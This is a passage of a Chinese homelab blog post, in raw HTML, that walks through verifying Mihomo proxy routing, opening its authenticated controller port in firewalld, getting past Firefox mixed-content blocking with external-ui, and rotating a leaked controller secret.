&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; http://127.0.0.1:9091/configs &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; python3 -c &lt;span class="s1"&gt;&amp;#39;import json,sys; d=json.load(sys.stdin); print(&amp;#34;mode:&amp;#34;, d[&amp;#34;mode&amp;#34;]); print(&amp;#34;tun.enable:&amp;#34;, d[&amp;#34;tun&amp;#34;][&amp;#34;enable&amp;#34;])&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -sS -H &lt;span class="s2"&gt;&amp;#34;Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$secret&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; http://127.0.0.1:9091/proxies/Proxies &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; python3 -c &lt;span class="s1"&gt;&amp;#39;import json,sys; print(&amp;#34;Proxies:&amp;#34;, json.load(sys.stdin)[&amp;#34;now&amp;#34;])&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;unset&lt;/span&gt; secret
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际结果：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mode: rule
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tun.enable: True
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Proxies: 🇯🇵 日本 03
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;服务刚启动时的真实日志已经同时出现了两种流向：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnf5 --&amp;gt; mirror.sjtu.edu.cn:443
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;match GeoIP(cn) using 🎯Direct[DIRECT]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnf5 --&amp;gt; rpmfusion.ip-connect.info:443
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;match Match using ✈️Final[🇯🇵 日本 03]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这证明国内地址确实可以直连，未命中前面规则的境外连接则交给 &lt;code&gt;✈️Final&lt;/code&gt;，最终使用日本 03，而不是把规则模式写进配置后就想当然地宣布完成。&lt;/p&gt;
&lt;p&gt;再主动请求一个国内站点和一个境外站点：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -4 -sS -o /dev/null -w &lt;span class="s1"&gt;&amp;#39;baidu: %{http_code}\n&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; https://www.baidu.com/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -4 -sS -o /dev/null -w &lt;span class="s1"&gt;&amp;#39;google: %{http_code}\n&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; https://www.google.com/generate_204
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;baidu: 200
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;google: 204
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;然后从 Mihomo journal 中查找这两个请求：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo journalctl -u mihomo --since &lt;span class="s1"&gt;&amp;#39;2 minutes ago&amp;#39;&lt;/span&gt; --no-pager &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -E &lt;span class="s1"&gt;&amp;#39;baidu.com|google.com&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; tail -n &lt;span class="m"&gt;6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际日志：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[TCP] 198.18.0.1:54192(curl, uid=1000) --&amp;gt; www.baidu.com:443
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;match DomainSuffix(baidu.com) using 🎯Direct[DIRECT]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[TCP] 198.18.0.1:39388(curl, uid=1000) --&amp;gt; www.google.com:443
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;match DomainSuffix(google.com) using Google[🇯🇵 日本 03]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这组测试把“规则模式”验证到了具体请求：同一台机器、同一个 TUN，Baidu 直连，Google 经日本 03 代理，两边都成功返回。&lt;/p&gt;
&lt;h3 id="放行外部控制器"&gt;放行外部控制器
&lt;/h3&gt;&lt;p&gt;只在无线网卡所在的 &lt;code&gt;FedoraServer&lt;/code&gt; zone 放行控制器端口。DNS 的 &lt;code&gt;1053&lt;/code&gt;、HTTP 代理的 &lt;code&gt;7890&lt;/code&gt; 和 SOCKS 的 &lt;code&gt;7891&lt;/code&gt; 都没有添加到 firewalld：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo firewall-cmd --permanent &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --zone&lt;span class="o"&gt;=&lt;/span&gt;FedoraServer &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --add-port&lt;span class="o"&gt;=&lt;/span&gt;9091/tcp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo firewall-cmd --reload
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo firewall-cmd --zone&lt;span class="o"&gt;=&lt;/span&gt;FedoraServer --query-port&lt;span class="o"&gt;=&lt;/span&gt;9091/tcp
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;三条命令依次输出：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;success
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;success
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;yes
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;查看该 zone 直接开放的端口：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo firewall-cmd --zone&lt;span class="o"&gt;=&lt;/span&gt;FedoraServer --list-ports
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;9091/tcp
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;然后从 MacBook 访问 &lt;code&gt;172.16.51.113:9091&lt;/code&gt;。不带 secret 时仍然返回 401；从 ThinkPad 上权限受限的文件临时读取 secret 后，认证请求成功：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;unauthenticated: 401
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;authenticated: {&amp;#34;meta&amp;#34;:true,&amp;#34;version&amp;#34;:&amp;#34;v1.19.28&amp;#34;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这说明控制器已经能够从局域网访问，但不是裸奔。之后可以在 MetaCubeX Dashboard 等客户端中填写：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Controller: http://172.16.51.113:9091
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Secret: ~/.config/mihomo/controller-secret 中保存的值
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这里的 &lt;code&gt;~&lt;/code&gt; 指 ThinkPad 上 &lt;code&gt;veno&lt;/code&gt; 用户的家目录。控制器 secret 不会出现在文章、Git 仓库或 shell 输出中。&lt;/p&gt;
&lt;p&gt;控制器目前是普通 HTTP，Bearer secret 在局域网内传输时没有 TLS 加密，所以只适合可信内网。以后如果要跨不可信网络管理，应该使用 SSH tunnel、VPN，或者按照 Mihomo 文档配置 &lt;code&gt;external-controller-tls&lt;/code&gt;，不能直接把 &lt;code&gt;9091&lt;/code&gt; 映射到公网。&lt;/p&gt;
&lt;h3 id="firefox-拦截-mixed-content"&gt;Firefox 拦截 Mixed Content
&lt;/h3&gt;&lt;p&gt;我原本准备直接使用官方托管的 &lt;a class="link" href="https://d.metacubex.one/#/" target="_blank" rel="noopener"
&gt;MetaCubeXD&lt;/a&gt; 面板，填写：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Backend: http://172.16.51.113:9091
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Secret: &amp;lt;controller secret&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;但是 Firefox 开发者工具显示请求被标记为 &lt;code&gt;Mixed Block&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/firefox-mixed-content.png"
width="1800"
height="922"
srcset="https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/firefox-mixed-content_hu_b085eb361a83ac66.png 480w, https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/firefox-mixed-content_hu_94136a88a43b9cf5.png 1024w"
loading="lazy"
alt="Firefox 阻止 HTTPS 面板请求 HTTP 控制器"
class="gallery-image"
data-flex-grow="195"
data-flex-basis="468px"
&gt;&lt;/p&gt;
&lt;p&gt;用 &lt;code&gt;curl&lt;/code&gt; 携带相同的 Origin 和 Authorization 请求控制器却能得到：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;hello&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;mihomo&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这两个结果并不矛盾。&lt;code&gt;curl&lt;/code&gt; 不执行浏览器的 Mixed Content 安全策略；Firefox 则在真正发出请求之前，就阻止了 HTTPS 页面访问 HTTP API。因此这不是 Mihomo、secret、CORS 或 firewalld 的错误。&lt;/p&gt;
&lt;p&gt;尝试访问 &lt;code&gt;http://d.metacubex.one&lt;/code&gt; 也不能解决，因为 GitHub Pages 会返回：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HTTP/1.1 301 Moved Permanently
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Location: https://d.metacubex.one/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Mihomo 官方文档提供了更干净的解决方法：使用 &lt;code&gt;external-ui&lt;/code&gt; 把静态面板直接托管在 Clash API 的 &lt;code&gt;/ui&lt;/code&gt; 路径。这样面板和 API 都来自 &lt;code&gt;http://172.16.51.113:9091&lt;/code&gt;，浏览器不会产生 Mixed Content，而且 secret 不需要交给第三方托管页面。&lt;/p&gt;
&lt;p&gt;官方完整配置示例给出的 MetaCubeXD 配置为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;external-ui&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;ui&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;external-ui-name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;xd&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;external-ui-url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;https://github.com/MetaCubeX/metacubexd/archive/refs/heads/gh-pages.zip&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;参考：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://wiki.metacubex.one/config/general/" target="_blank" rel="noopener"
&gt;Mihomo 常规配置 - 外部用户界面&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/MetaCubeX/mihomo/blob/Meta/docs/config.yaml" target="_blank" rel="noopener"
&gt;Mihomo 官方完整配置示例&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在继续操作前还有一件更要紧的事：用于测试的真实 controller secret 曾经出现在聊天内容和 shell 命令中，应当视为已经泄露，不能继续使用。&lt;/p&gt;
&lt;p&gt;先在远程 shell 中保留旧 secret 以便稍后验证，然后生成新 secret。命令不会打印二者的内容：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;span class="lnt"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;old_secret&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;cat ~/.config/mihomo/controller-secret&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;new_secret&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;openssl rand -hex 32&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%s\n&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$new_secret&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt; ~/.config/mihomo/controller-secret
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chmod &lt;span class="m"&gt;600&lt;/span&gt; ~/.config/mihomo/controller-secret
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo sed -i &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;s/^secret:.*/secret: \&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$new_secret&lt;/span&gt;&lt;span class="s2"&gt;\&amp;#34;/&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /etc/mihomo/config.yaml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;然后删除可能存在的旧 UI 字段，再追加经过官方文档确认的配置：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
